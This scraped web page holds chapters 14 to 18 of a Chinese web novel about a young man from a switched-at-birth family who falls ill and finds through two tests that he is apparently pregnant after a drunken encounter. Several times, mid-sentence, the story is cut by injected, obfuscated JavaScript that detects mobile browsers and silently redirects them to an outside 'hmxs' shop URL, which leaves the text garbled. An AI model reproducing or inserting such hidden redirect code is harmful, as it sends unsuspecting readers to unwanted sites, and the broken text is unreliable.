l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984478|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有立刻搭腔。 这时程馥文的声音再次响起,她眼眶有点红了,像是有点沮丧:“乖乖,虽然血缘上你不是我们亲生的,但我们真是把你从一丁点大把你喂到现在这么高,和亲生儿子又有什么分别?你大了,有时候妈妈不知道你在想什么,你是因为觉得你不是爸爸妈妈生的,所以不愿意呆在这个家里,才总想着往外跑不回家吗?” 程知蘅慌忙摇头:“不是的!我只是提个建议……” 程馥文看着对面的两个儿子,心里又酸又涩。一个是她疼爱了二十多年的小太阳,原本乖巧贴心,听话又单纯,现在她却忽然摸不透他在想什么了;另一个是她血脉相连的骨肉,却冷淡得像座捂不热的冰山,坐在自己家里都像个客人。 不像程修永天生好脾气,她一向是雷厉风行的性子,在公司说一不二,偏偏在家里,为了哄儿子天天装温柔。现在事态失控,她实在装不下去了。 程馥文叹了口气,下了最后通牒:“所以你回不回来住?” 程知蘅咬了咬唇:“……还是不了吧。” 这句话像点燃了引线,程馥文“啪”地放下筷子,脸色彻底冷了下来:“那就都别住了。” “程知蘅,你也二十一岁了,看看你做的哪件事像样?一声不吭就消失,两个月不回家不回消息,要不是你哥把你找回来,还不知道你现在在哪!现在自己家不住又要往外跑,我和你爸爸担心坏了你知道吗?!” 话说到这个份上,已经和住哪里的安排无关了。 程馥文终于没憋住脾气,显然是对程知蘅前阵子突然消失的行为积怨已久。此刻心情本就不好,又不能冲着祈琰发火,所有的怒气便都倾泻到了程知蘅身上。 可在程知蘅看来,他本是为了促进他们一家和睦才提出这个建议,结果却劈头盖脸挨了一顿骂,实在是比窦娥还冤。 “我怎么了?我这不是在为大家考虑吗?”程知蘅委屈地反驳,声音里带着不易察觉的颤抖。 他那句委屈的辩解刚出口,忽然,一股难以遏制的恶心感就猛地从胃里翻涌上来。 大概是忽然情绪不好,导致连食物都味道都变了。 刚才还觉得香甜软糯的红烧肉,此刻在胃里疯狂地搅动,混合着其他食物,变成一团油腻滚烫的固□□体,凶狠地撞击着他的喉咙口。 那油腻的气息仿佛化作实质,不仅堵塞了食道,甚至直冲天灵盖,让他眼前阵阵发黑。 程知蘅下意识地捂住嘴,可根本无济于事。 “哇——” 他控制不住地身子猛地向前一倾,刚刚好不容易吃下的所有东西,就这样全部都吐在了地面上。 程知蘅剧烈地喘息着,吐过一次后恶心的感觉并未缓解,逼得他弯下腰,又是一阵干呕,眼泪不受控制地生理性地涌出眼眶。他整个人脱力地撑着膝盖,手指都在发抖,脸色由刚才激动的红晕褪成一片惨白,额头上瞬间沁出了一层细密的冷汗。 餐桌上霎时一片死寂。 所有人都被这突如其来的变故惊得愣住了。 15. 第 15 章 “怎么回事?怎么回事?”最先反应过来的是程馥文。 “乖乖!”她惊呼一声,脸上所有的怒气瞬间被惊慌和担忧取代,几乎是直接从椅子上弹了起来。 她绕过桌子就冲到了程知蘅身边,也顾不得地上的污秽,一把扶住他发抖的肩膀,“怎么了这是?啊?怎么突然吐了?是不是吃坏东西了?” 程修永也紧跟着起身,脸上满是焦急,他先是看了一眼地上的狼藉,立刻扬声喊保姆徐姨帮忙清理,然后也围到程知蘅另一边。 他伸出大手轻轻拍着他的背,语气又急又心疼:“是不是胃不舒服?还是刚才呛到了?难受得厉害吗?不行,得赶紧去医院看看!” 两人围着程知蘅,一个摸额头试体温,一个递纸巾擦嘴,慌得团团转,仿佛他还是那个磕了碰了就会嚎啕大哭的小孩子。 程知蘅被父母这过度的反应弄得有些窘迫,尤其还是当着祈琰的面。 他借着漱口的动作稍稍避开父母的手,虚弱地摆摆手:“没、没事……可能就是一下子吃急了,又有点激动……吐出来就好多了,不用去医院。” 他呕出来之后觉得稍微好受了一点,实在是不严重,不想兴师动众。 程知蘅咳了两声,心想之前消失两个月已经够让他们操心的了,现在好好的一顿晚饭又被他一顿吐给搅黄了,所以不肯去医院。 “这怎么行!脸色这么白!”程馥文不依不饶,心疼地看着他。 “真没事了妈,”程知蘅努力挤出一个苍白的笑容,试图安抚他们,“我坐一会儿,喝点水就好。” 他的目光不经意间扫过依旧坐在原位的祈琰。 祈琰也正看着他,眉头微不可察地蹙着,那双黑沉的眼眸里似乎有关切,但他并没有像程父程母那样立刻冲上前,只是静静地看着。 程知蘅心里掠过一丝微妙的失落,但很快被身体的不适压了下去。 最终,程知蘅被半强制地按在客厅沙发上休息,怀里被塞了个暖水袋捂着胃,手里捧着程父亲自倒的温水。他没什么胃口,也吃不下任何东西了,只好说:“你们先吃吧,我坐这儿等你们吃完。” 这顿饭自然是食不知味。程父程母匆匆吃了几口,注意力全在沙发上的程知蘅身上。祈琰也沉默地用完了餐,期间几乎没再说话。 关于住处的争论,也因为程知蘅这突如其来的呕吐而彻底中断。 饭后,程知蘅感觉稍微好了点,便坚持要回自己的公寓。程父程母拗不过他,但坚决不同意他自己开车。程知蘅却觉得小病而已,不需要他们大晚上开车送。 争执不下之际,一直沉默的祈琰忽然开口:“我送一下吧,正好顺路。” 程知蘅一顿,抬起头。 只见祈琰站在他身后,外套垮在手臂上,依旧是一副冷冷淡淡的样子。 这倒是个折中的办法。程知蘅看了看父母担忧的眼神,点了点头。 临走时,程馥文拉着程知蘅的手,眼眶又有点红,语气却异常温柔,带着歉意:“乖乖,妈妈刚才……刚才话说重了,是妈妈不对。你别往心里去。” 她轻轻摸了摸程知蘅的脸,“你长大了,有自己的想法,妈妈知道。你想住在哪里都可以,但是要记得,这里永远是你的家,随时都可以回来,知道吗?” 程修永也在一旁点头,眼神里是全然的包容和爱护。 程知蘅鼻尖一酸,重重地点了点头:“嗯,我知道。谢谢爸妈。” 听见“爸妈”两个字,程馥文双目一软,像是终于听到了一直在等的话。 这是在知道消息之后,程知蘅第一次喊出“爸妈”两个字。 回程是祈琰开的车。车内很安静,程知蘅靠在副驾驶座上,闭着眼,胃里依旧有些隐隐作痛,伴随着一阵阵泛上来的恶心感。 他闭着眼睛,等到回过神车已经停在了地下车库。 程知蘅眨了眨眼睛,没看见驾驶座的祈琰,慌忙推门下车。 谁知这一下起得太急,他脚下一软没站稳。祈琰不知何时已经绕了过来,一把扶住了他的胳膊,程知蘅就这样掉进他怀里。 “没事吧?”祈琰的声音在夜色里显得有些低沉。 他声音一低,一些莫名其妙的回忆就往程知蘅脑袋里钻。 程知蘅心脏狠狠一跳,赶忙借着祈琰的力道从他怀里钻出来站稳。 “没……就是有点晕。” 他低头,祈琰却在这时候抽回了手。 祈琰垂下的眼睫遮住了情绪,也没多说什么,一路送程知蘅上了电梯,直到公寓门口。 “谢谢啊,”程知蘅开门,声音有些虚弱,“你……要进来坐坐吗?” 祈琰看了看他苍白的脸,摇了摇头:“不了,你早点休息。”他顿了顿,大概是出于礼貌,又补充了一句“不舒服随时打电话。” 程知蘅扶着门点点头。 祈琰还没走,他却又开始出神。 “你在想什么?”祈琰忽然低声问。 “我在想……”程知蘅也说不出个所以然来,“我在想,我还没有你的电话。” 祈琰闻言挑了挑眉,就这样熟练地从程知蘅手心里把他的手机拿过来,点开紧急通话,输入了自己的号码,按了一下拨号又挂了。 他离开前说:“谢谢你,在饭桌上的时候说让我住你家。” 程知蘅看着他的身影消失在电梯口,心里空落落的。他关上门,胃里的不适和心头的混乱交织在一起。 第二天早上,程知蘅是被同一阵熟悉的恶心感催醒的。 他猛地从床上弹起,冲进卫生间,对着马桶又是一阵干呕。这次没吐出什么实质的东西,只有一些酸水,灼烧着他的喉咙。 他漱了口,看着镜子里自己依旧没什么血色的脸,心里开始有些发毛。 这不对劲。 一次可能是吃坏了或者情绪激动,这接二连三的……他回想起这段时间,自己似乎特别容易累,总是睡不醒,情绪也起伏很大,有时莫名低落,有时又有点烦躁。 他皱着眉,心想,难道是前段时间作息太不规律,熬夜把身体熬垮了? ……可他一直这样呀? 看来真得去医院好好检查一下了。 挂了消化内科的号,医生例行询问了症状。 “恶心、呕吐、乏力、嗜睡……”医生在电脑上记录着,“最近饮食怎么样?作息规律吗?有没有吃什么特别的东西?” 程知蘅一一回答, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984479|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐去了情绪波动的部分,只说是可能熬夜多了。 “先做个检查看看吧。”医生开了单子。 于是,程知蘅在医院跑上跑下。抽了血,查了血常规、肝功能、肾功能、电解质和甲状腺功能,查了幽门螺杆菌感染,甚至还被安排了一个腹部B超。 一圈检查做下来,时间倒是花了大半天,然而等到结果陆续出来他却傻了眼。当时程知蘅拿着报告单回到诊室,医生仔细看了一遍,推了推眼镜,表情有些困惑。 “从检查结果来看,没什么大问题啊。”医生指着报告单,“肝功能肾功能都正常,没有幽门螺杆菌感染,电解质也在正常范围,B超显示各个脏器形态大小都很好,没有异常。” “那我为什么总是想吐?”程知蘅懵了。 “有时候情绪紧张、焦虑,或者功能性消化不良也会引起这些症状。”医生建议道,“你先注意饮食清淡,规律作息,放松心情,观察看看。如果症状持续不缓解,可以考虑去看看心理科或者神经内科。” 程知蘅拿着那一沓“正常”的化验单,茫然地往医院外走。 没查出问题,他本该松口气,可心头那股莫名的疑虑却更深了。 走到医院门口,这时候夕阳西下,走过一条走廊,玻璃窗子筛入几丝金黄色的阳光,他偏头去欣赏,却恰巧看见一对年轻的夫妇。 丈夫小心翼翼地搀扶着明显怀孕的妻子,妻子腹部微微隆起。丈夫不知低头说了句什么,妻子掩嘴笑了起来,脸上洋溢着幸福的光彩。丈夫的手始终护在妻子的腰后,眼神里满是爱怜。 程知蘅看着这一幕,不由得停下了脚步。 他忽然想起程修永和程馥文一直也是这么恩爱,从小到大,他见惯了父亲对母亲无微不至的照顾。 可随即,一股酸涩涌上心头——他们腹中怀着祈琰的时候,也是这样开心吗?……他的亲生父母呢?也是这样期待着他的降生吗? 他们如果还在世,会像程父程母紧张他这样,紧张他们素未谋面的儿子吗? 无论如何,他都再也没有机会知道了。 程知蘅垂下眼,金黄的夕阳光线洒在他纤秀的睫毛上,仿佛也沾上了一点愁绪。 晚上临睡前,程知蘅洗完澡,站在洗手台前刷牙,脑海里还是医院里看见那对夫妇的场景。 他低着头,却不经意间看到镜子里的自己。 睡袍的带子系得有些松,露出一小片腹部。他忽然觉得,自己的小腹……似乎比平时要凸起那么一点点?软软的。 他之前只以为是最近没怎么运动,长了点小肚子,没太在意。 可此刻,联系到今天一无所获的检查,联系到这段时间持续不断的恶心、嗜睡、情绪不稳……再联想到他两个月前酒后乱性,也似乎是……没做措施。 一个荒谬至极、匪夷所思的念头,像一道惊雷,毫无预兆地劈进了他的脑海。 程知蘅猛地僵住,嘴里的泡沫都忘了吐,瞳孔骤然收缩,死死地盯着镜子里那一点点不明显的弧度。 一个他从未设想过的,只在某些极其小众的小说里看到过的可能性,攫住了他。 程知蘅狠狠踉跄了一下。 难道他……怀孕了?! 16. 第 16 章 不可能吧。 程知蘅脑袋里第一个跳出来的想法是荒谬。 男人怎么可能会怀孕?他被自己天马行空的想象力逗笑了。 但下一秒他忽然笑不出来了,心里涌上一股前所未有的恐慌,仿佛冥冥之中有什么力量在提醒他,这事情不简单。 一直这么吐下去可不是事儿,程知蘅转头就着脉动吞下去两片维生素B6,又灌下去大半瓶白水,心理上觉得自己稍微好受里一点。 闲着也是闲着,他开始搜索相关资料。 问:头晕乏力恶心想吐嗜睡怎么回事? 程知蘅开始滑动屏幕,琳琅满目的诊断映入眼帘。 【不要忽视身体给你发来的求救信号![sos]……】 【8月新毒株?X市是不是所有人都在头晕恶心浑身乏力?】 【焦虑/抑郁躯体化症状大全】 【猝死警报:抓紧黄金四分钟……】 【有这8种感觉,请立刻休息!】 昨天看了大半天医生都没查出半点毛病,现在程知蘅刷了两分钟手机,确诊了18种绝症。 他面无表情地刷过了这些令人毫无点进去欲望的,忽然,一个熟悉又陌生的论断映入眼帘。 【出现这12个信号,你可能怀孕了!】 鬼使神差的,程知蘅点进了这篇文章。 “很多姐妹怀疑自己怀孕了,却又不好意思去药店买验孕棒?快来看看以下广大孕妈的早征兆,你中了几条吧!” 程知蘅从没想象过,自己在连女友都还没有的情况下,竟然会率先开始了解这些。 他强忍着内心的荒谬之感,往下看。 然而越是往下看,他的脸色就越黑,等到看完文章,程知蘅冷汗都下来了。 12条“信号”,他竟然全都能对上。 虽然只是连点赞都没有几个的科普号推文,虽然明知道不可能,但样样都对上…… 程知蘅再次捏了捏自己小腹上那团莫名其妙多出来的赘肉,忽然脑子里冒出来一条匪夷所思的对策。 ……十分钟之后,他外卖了个验孕棒,并马不停蹄用了。 边琢磨这个验孕棒怎么使用,他还边嘲笑自己傻,竟然会做这种事。 没等结果出来,程知蘅还坐在洗手间的椅子上就困了,他支着洗手台闭着眼睛休息。 这时候,手机忽然震动起来。 程知蘅低头一看,是程馥文。 程馥文平时忙,主动打电话来并不多,程知蘅理所应当觉得是有什么重要的事情。 虽然他目前还犯着恶心有点不想接电话,但思虑再三,还是按了接听键。 他咳嗽两声清了清嗓子,竭力让自己的声音显得正常:“喂,妈,怎么啦?” 然而毕竟是当妈的,依旧听出来他沙哑的嗓音。 “你怎么嗓子这么哑?恶心好点了吗?这两天还吐了没?去看医生了吗?” 程女士几个连环问,把程知蘅脸色都问黑了。 他很顺溜地撒谎道:“我早没事儿了,刚才在补觉所以嗓子有点哑。” “今天妈有空,来你那边看看你吧。”程馥文说,“正好路过你这边,我已经在停车场了。” 程知蘅:??? 什么?! 他瞌睡一下醒了,环顾四周的一摊狼藉以及洗手台上验孕棒的垃圾。 这两天他生病,更是没时间收拾屋子,家里已经完全乱成了鸡窝。 公寓本就不大,程馥文一来,都没地方藏。 这倒还不是最紧要的,最关键的是,这时候程知蘅一侧过脸看镜子,就看见自己那惨白有如死人糟糕的脸色,等见到他妈,刚才说自己没事儿的谎言可不全露馅了。 等到她一来发现自己把身体和生活环境都照顾得一团糟,不发脾气才怪呢。 想到这里,程知蘅直觉得脊背一凉,腾的一下站起来了,干巴巴问:“哈哈,妈,您没事儿过来干什么?你忙吧,别来了。” 程知蘅掩盖得相当拙劣,程馥文一下就听出不对:“怎么?你在家搞什么见不得人的事儿不肯我来?” 程知蘅眼睛瞪得像铜铃,干笑道:“哈哈哈哪有?我……” 啊啊啊救命,他编不下去了! 怎么办怎么办,他现在立刻必须振作起来,想出一个合情合理的理由…… 要紧关头下,程知蘅忽然福至心灵。 “我……因为我现在没在家里啊!!” 程馥文:?那你在哪里。 程知蘅流利答道:“我之前不是和你们说让那个祈琰住我们家嘛,所以这两天我住朋友家来了,等他安顿好,我再回去。” 危急关头,只能再次搬出祈琰了。 程知蘅心里暗暗对祈琰道了个歉。 程馥文挑了挑眉:“真的?” “是啊,”程知蘅笑道,“你们不是不肯我一个人住他家嘛,我可听话了,这不就决定和他一起住这里嘛。” 可惜,程馥文没上他的当:“那我还是过来看看吧,如果他没收拾好,我也帮忙收拾下,正好现在有空。” “可可可,可现在祈琰也没在家啊,他实习呢,你忘了?”程知蘅继续阻拦。 “哦对。”程馥文仿佛是点了点头。 她做事情做决定向来雷厉风行,闻言说:“那我晚点再来看你,你等住回去给我发个消息。正好一会儿有个会,你们都不在,我就不上来了。” 程知蘅长出一口气,又应付了好几句,说了不少漂亮话哄他便宜妈妈高兴,这才挂断了电话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984480|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 挂掉电话之后,他感觉自己已经燃尽了。 大概是坐久了,起身的时候程知蘅晃悠了一下,眼冒金星,扶住洗手台才稳住身子。 世界天旋地转,他闭上眼,缓了好几秒,发黑的视线才再次缓缓明晰起来。 程知蘅长长地、生无可恋地吐出一口气。 然后,他睁开了眼,目光不经意地,落在了洗手台角落那根被他遗忘的、小小的塑料棒上。 时间……好像到了? 他鬼使神差地伸手把它拿了过来。 低头,看了一眼。 …… …… …… 程知蘅感觉自己可能是眼花了。 或者刚才那一下,不仅晃出了金星,还把脑子里的视觉处理中心给晃短路了。 不然…… 不然他怎么会在这根小小的验孕棒的结果窗口里,清晰地看到了两条红杠?!! 两条!!! 程知蘅猛地伸出手,把验孕棒凑到眼前,鼻尖都快戳上去了,死死地盯着。 没错。不是幻觉。不是光影错觉。就是两条杠。清清楚楚。明明白白。像是对他二十一年来建立的世界观发起了最猖狂的挑衅。 “不可能……这玩意儿坏了!绝对是坏了!”他喃喃自语,声音都在发飘,“对,网上说了,杂牌验孕棒不准的!而且一定是刚刚放太久出了错。” 幸好!幸好他刚才下单的时候,为了凑够起送费顺手买了两个! 他像是抓住了最后一根救命稻草,手忙脚乱地拆开另一个的包装,动作急切得差点把包装盒撕烂。 再来一次! 流程他已经熟了。他甚至比第一次更小心,更虔诚。 然后,就是新一轮焦灼的、心脏快要跳出嗓子眼的等待。 时间一分一秒过去。 他死死攥着那根小小的塑料棒,眼睛一眨不眨,仿佛这样就能用意念改变结果。 时间到。 他几乎是带着就义般的心情,颤抖着将它举到眼前。 一秒。 两秒。 “……” 程知蘅沉默了。 如果第一根是意外,是故障,是命运的恶作剧。 那这第二根,同样清晰无比的两条红杠,就像是一记无声的惊雷,精准无误地劈在了他脆弱的神经上。 啪嗒。 验孕棒从他瞬间脱力的手指间滑落,掉在洗手台上,发出清脆的响声。 程知蘅缓缓地、缓缓地抬起头,看向镜子里那个面色惨白、眼神呆滞、仿佛刚刚被全世界抛弃了的人。 三秒钟后。 “啊啊啊啊啊——!!!” 晴天霹雳。 他貌似真怀孕了。 17. 第 17 章 程知蘅觉得自己要崩溃了。 都说验孕棒不准,可是无论如何他一个男人也不该测出两道杠。 既然不可能是怀孕,那么一定是哪里出问题了。 不会是什么罕见病吧?怎么办怎么办怎么办? 程知蘅心脏狂跳,心里想着,恐怕还是得去趟医院,确认一下是什么问题才行。 他拿出手机,给眼前两支两道杠的验孕棒拍了一张照片。 手在发抖,照片都差点拍糊。 他也不知道自己为什么忽然想要拍下来,或许,是想要分享给谁。 然而点进社交软件,却发现虽然手头忽然这样劲爆的消息,却不知道该发给谁好。 好朋友吗?爸爸妈妈吗?还是…… 程知蘅低头,呼吸忽然急促了一下,那排长长的睫毛垂着,也跟着呼吸颤动。 近来他出门少,相册里照片就更少了。 点进去,最上方的一张还是他在酒吧,给刚点的酒拍的一张照片。 有点昏黄的灯光下,照片一角,一个穿黑衬衫的胳膊。 程知蘅的心脏忽然一跳。 他想起另一件要紧事。 刚才和程馥文撒了个谎,现在恐怕还得联系祈琰说一声,否则万一露馅就不好了。 程知蘅打开手机,先是点开微信,想起之前住在祈琰家的时候他曾经提过一句自己工作时间很少看微信消息,便又想起那日祈琰留下的电话号码。 他打开手机,输入了那串号码,却又犹豫了。 他会接吗? 他会来吗? 他会拒绝吗? 程知蘅觉得自己貌似很少因为某个人这么犹豫纠结。 是因为他们的关系特殊吗?因为他们从襁褓之时就互换了命运,现在又不得不被凑在一起。 还是因为……因为那次醉酒的意外? 几面之缘,有时祈琰是温柔的,有时候却冷淡得好像陌生人,程知蘅头一次觉得摸不准一个人的性情。 他呆呆地坐回床上,逃避性地开始刷手机,刷了一会儿又犯困,等到再反应过来,天色已经昏暗。 他的床边有个落地窗,落地窗下铺了厚厚的地毯。程知蘅从小喜欢坐在落地窗边,向外看整个城市的风景,在这个时候他会觉得自己很自由。 然而这个时候他坐在落地窗边往下看,只是想把自己的额头贴在冰冷的玻璃窗上,好缓解一下灼热的心跳。 他就这么额头贴着窗子木木地朝外看,看到天色昏沉,雾色笼起,华灯初上,繁华的城市下起雨来。 视线被遮挡了,厚重的云层浮上来,雨点落在窗子上。程知蘅打开灯,又打开手机,闭上眼睛,哄自己按了通话键。 电话嘟嘟响了好一阵子忙音,在程知蘅笑了笑打算按断的时候电话通了。 “您好,哪位?”电话那头,是一道有点沙哑的低沉声音。 程知蘅顿了顿,小声开口:“是我。你没存我电话?” 电话那头沉默了片刻:“程知蘅?” “是我,我想……找你帮个忙。” 大概是电话那头的声音显得很累,程知蘅总有种打扰了祈琰的歉疚,越说越小声。 谁知他话音刚落,祈琰就说:“可以,你说。” 他还没说要帮什么忙,祈琰却先说“可以”。 程知蘅微不可查地勾了勾唇角,比刚才心情好了一点点。 “刚刚,妈妈打电话来说想来公寓看看我,但……我这两天身体还是有点不舒服,我骗他们说我已经好全了。” 程知蘅心里乱,说了半天也没进入正题。 电话另一头的人却仿佛也不急,可以听见祈琰均匀的呼吸声,耐心听着程知蘅说下文。 “因为我病没好,我不太想他们过来,所以骗他们……骗他们说你住这儿了。” “我打电话是想和你说,如果他们问起,你能不能帮我圆这个谎?” 程知蘅说得小心翼翼,赶忙又补了一句:“其实,我是诚心邀请你住这儿的。我这里什么都有,位置又方便,咱俩真可以换个地方住,我觉得你们家还挺温馨……” 他还没絮叨完,电话那头传来一声闷闷的:“好。” 程知蘅:? 这句“好”是回答哪一个请求的?串供,还是住这儿? 他心里乱,也顾不得细问,只当祈琰是答应了。 他是好人,肯定不会卖我的。程知蘅是这样想的。 “你很不舒服吗?”这时候祈琰问。 程知蘅说了实话:“是有一点。不过也不是特别严重。” “好。”祈琰沉默了一会儿,问,“还有别的事情吗?” “没事了。” “好。” 电话断了。 程知蘅这时候又觉得心更乱了。 他脑袋里不可避免一直回放着那两道杠的场景,即便现在已经把两根验孕棒和相关物品全部丢进了垃圾桶,还是无法将之彻底从脑海中割除。 本以为和祈琰说会儿话能缓解心中那种空落落的不安,然而听见了祈琰冷淡的声音之后,这种感觉更加明晰了。 窗外雨声淋漓,越下越大,程知蘅的心里也越来越乱。 还是得去医院看一趟。 他打了邹柏宇的语音电话:“喂,老邹,你明天有空吗?” “有啊,什么事儿?” “明天能陪我去趟医院吗?”程知蘅觉得有些难以启齿。 “你怎么了?还吐吗?你是不是肠胃炎啊,和你说我之前胃炎的时候……”程知蘅早先告诉了邹柏宇自己呕吐的事儿,只是没说很详细。 “不是。”程知蘅打断了他,“等明天和你说行么,电话里不好讲。” 他一焦虑就开始走路,这时候边打电话边开始满房子遛弯,绕这儿绕那儿的,一下子坐在岛台上,一会儿又靠在了大门上。 “行啊,几点?” “下午吧,就去中心医院。你开车接我行吗?” “没问题。”邹柏宇答应得很爽快。 程知蘅道谢后本来要挂电话,邹柏宇却在这个时候问:“你和你那个……‘那个人’,相处得怎样?没什么不愉快的吧?我怎么觉得你声音显得那么忧郁?” 从前,程知蘅无时无刻不是个快快乐乐的小太阳,今天打了电话,却又不扯闲天,实在是很反常,他多问一句也是正常的。 程知蘅不太想回答这个问题,于是避重就轻:“你那边雨声好大,你在外面?” “是啊,诶你别转移话题,说说啊,人怎样?没欺负你吧?我和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984481|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说,我可是看过好多类似的故事,真假少爷啥的……” “现实生活哪有那么多狗血啊……”程知蘅笑了,“他人真挺好的,之前我发烧还照顾我来着。” “他照顾你??”邹柏宇震惊了,“还说不狗血,抱错小孩本来就够狗血的了,你还和他上床了。这也不提了,现在居然还照顾你??是不是我再一个不留神,你们就要官宣了?” 程知蘅开的免提,邹柏宇的声音很大,在整个室内回荡。 他这一天都安安静静一个人待着,所以骤然被邹柏宇忽然提高的音量吓了一跳,像神经衰弱似的,往后缩了缩。 他今天测出来两道杠,本来就忌讳这个话题,这下被提起,程知蘅立马就想要挂电话。 但他顾忌着明天还要蹭邹柏宇的车——他可不想再一个人去看医生。所以忍了忍,说:“哪有那么夸张……别提他了,挂了啊。” 他按掉了电话。 人尴尬的时候就会很想和人讲话,所以程知蘅莫名其妙给人打了两个电话,然而这两个电话都没有能够缓解他的尴尬之情,反而让他心更乱了。 他心一乱,就开始装出很忙的样子开始收拾家里。 忙活了好一阵子,总算恢复成了表面上的整洁,同时他也理出来一大袋子生活垃圾,连同着那两根惹得他整天心神不宁的验孕棒。 程知蘅拎着大袋子计划出门,将这些东西彻底毁尸灭迹。 把屋子清理干净,或许心也能静一点吧。 程知蘅本来就有点头晕,本来就打扫得慢悠悠的,还又不小心刮破了垃圾袋,收拾了好一阵。 等到提着垃圾袋走到门口的时候,他已经有点气喘吁吁,撑着门框打开门,正要从室内把垃圾袋拖出去。 谁知他余光一扫,才发现门外这时候站着一个人。 昭悦府一梯一户,他更是没点外卖,楼上楼下的人都不常住这儿,门外几乎从来没一声不吭站人过,程知蘅心脏狠狠一跳,被吓了个半死。 他晕乎乎的,好容易控制住脚步,才没撞进那人怀里。 “妈呀!”程知蘅伸手捂住心口,一副犯了心脏病的样子往后躲,这时候才稍稍看清来人的装束。 他很高,再加上一身黑衣,几乎融入夜色,把程知蘅笼罩在身前的阴影里。 随着程知蘅抬眼,那人缓缓脱去身上罩着的黑色外套放在手臂上,露出脸来。湿掉的外套往下滴着水,他的脚下积出一滩很小的湖泊。 他肤色冷白,额前的黑发湿了一点贴在额前,此刻缓缓抬眼看向程知蘅。 程知蘅往后大退一步,这才认出了来人是谁。 他伸手揉了揉眼睛,确认自己不是因为头晕出现幻觉了,这才开口:“……祈琰?” 也不知道是不是因为他刚才心里全想着祈琰,人竟然就这么站在眼前了。 程知蘅瞪大了双眼,一副惊呆了的模样,问:“你怎么会在这里?” 雨声这时候大起来,祈琰却一时没开口说话。 空气安静下来,两个人面对着面,倒像是约好了要一块儿罚站听雨。 过了许久,祈琰才终于开口。他的声音依旧是冷调的,很沉。 “加班,雨太大我回不去。”他说,“我记得你刚刚电话里说,要留我住这儿?” 18. 第 18 章 程知蘅再次瞪大了眼睛。 他本来就眼睛大,再加上眼珠颜色很淡,瞪大的时候,很有点像漫画里的卡通人物,又有点像小孩子爱玩的布偶的眼睛。 他扬着声音说:“是啊!原来如此!你真来了!” 话是这么说,他脸上的神色可不是这么说的。 他并不知道自己现在看起来像是一只炸了毛的小猫,只独自凌乱了好几秒,便以惊人的速度接受了现实。 祈琰垂眸,低声淡笑了一下:“啊,看来我理解错你的意思了,是么?” 程知蘅心说:对啊,你确实理解错了!大错特错了! 他下意识把手背过去,紧了紧黑色大垃圾袋的袋口,莫名心跳起来,想起来垃圾袋里的那两支和祈琰脱不了关系的验孕棒。 他的确有心要把这个地方让给祈琰住,但今天他身体不舒服,脸色差到极点,也没洗澡,头发跟鸡窝似的,实在是不想见客人,也没功夫接待客人。 程知蘅边想着边暗暗叫苦——刚才祈琰回答“好”的时候自己没确认对,结果祈琰就这么在他最不该出现的时候出现了。 心里虽然这么想,但外边雨下这么大,祈琰身上湿透,程知蘅不是那种会把人拒之门外的性格。 于是他虽然惊愕,还是赶紧换了一张笑脸:“哪有?我就是这个意思!你快别站门口了,进来进来!你是不是忘带伞了,怎么湿成这样?” 见祈琰不动,程知蘅以为他不好意思。为表待客之道,他伸手去拽祈琰的胳膊,想把祈琰拖进门。 “我正要去丢垃圾呢,客房里有睡衣,你快去换一件吧。” 祈琰抵不过他的热情,走进了门:“你要丢垃圾?我帮你下去扔吧。” “不用不用,”程知蘅说,“其实也不急,我就是忽然想起来了。明天丢也是一样的。” 他趁着门开着的功夫,一下子把垃圾放在门口,眼疾手快关了门,笑道:“嘿嘿,我明早再扔好了。这么大雨,我也不想出去。” 程知蘅笑得灿烂明快,倒把脸上的病容憔悴冲淡了不少。 “那今晚就住这儿吧,我这里东西都齐,你之后再把你的东西搬过来。”他说。 他自己也没察觉到自己笑得这么开心,方才的那些心中的慌乱不安,都仿佛随着祈琰的忽然出现而消失了。 只不过虽然如此,程知蘅惨白的脸色和双唇依旧明晰,和这个漂亮的笑一对比,更显得他脸色不好了。 “好。”祈琰点了点头,敛眉问道,“你吃药了没有?” “我其实就是还有一点点头晕,应该是这阵子熬夜熬多了饮食不规律,所以那天才会吐。我已经看过医生了,说我没问题,明天再去复查一次。你别担心。” 这话顺出了口,程知蘅又有点后悔。 人家根本没说担心他,他倒是先开口让人别担心,可不是自作多情么? 程知蘅感觉自己两颊烧红了一点,垂下眼睛不说话了。 “刚才你妈妈给我打电话了。”祈琰这时候开口说。 “啊?”程知蘅猛的一抬头,“她问你什么了?” “问我是不是在你家。” “你说在了吗?” 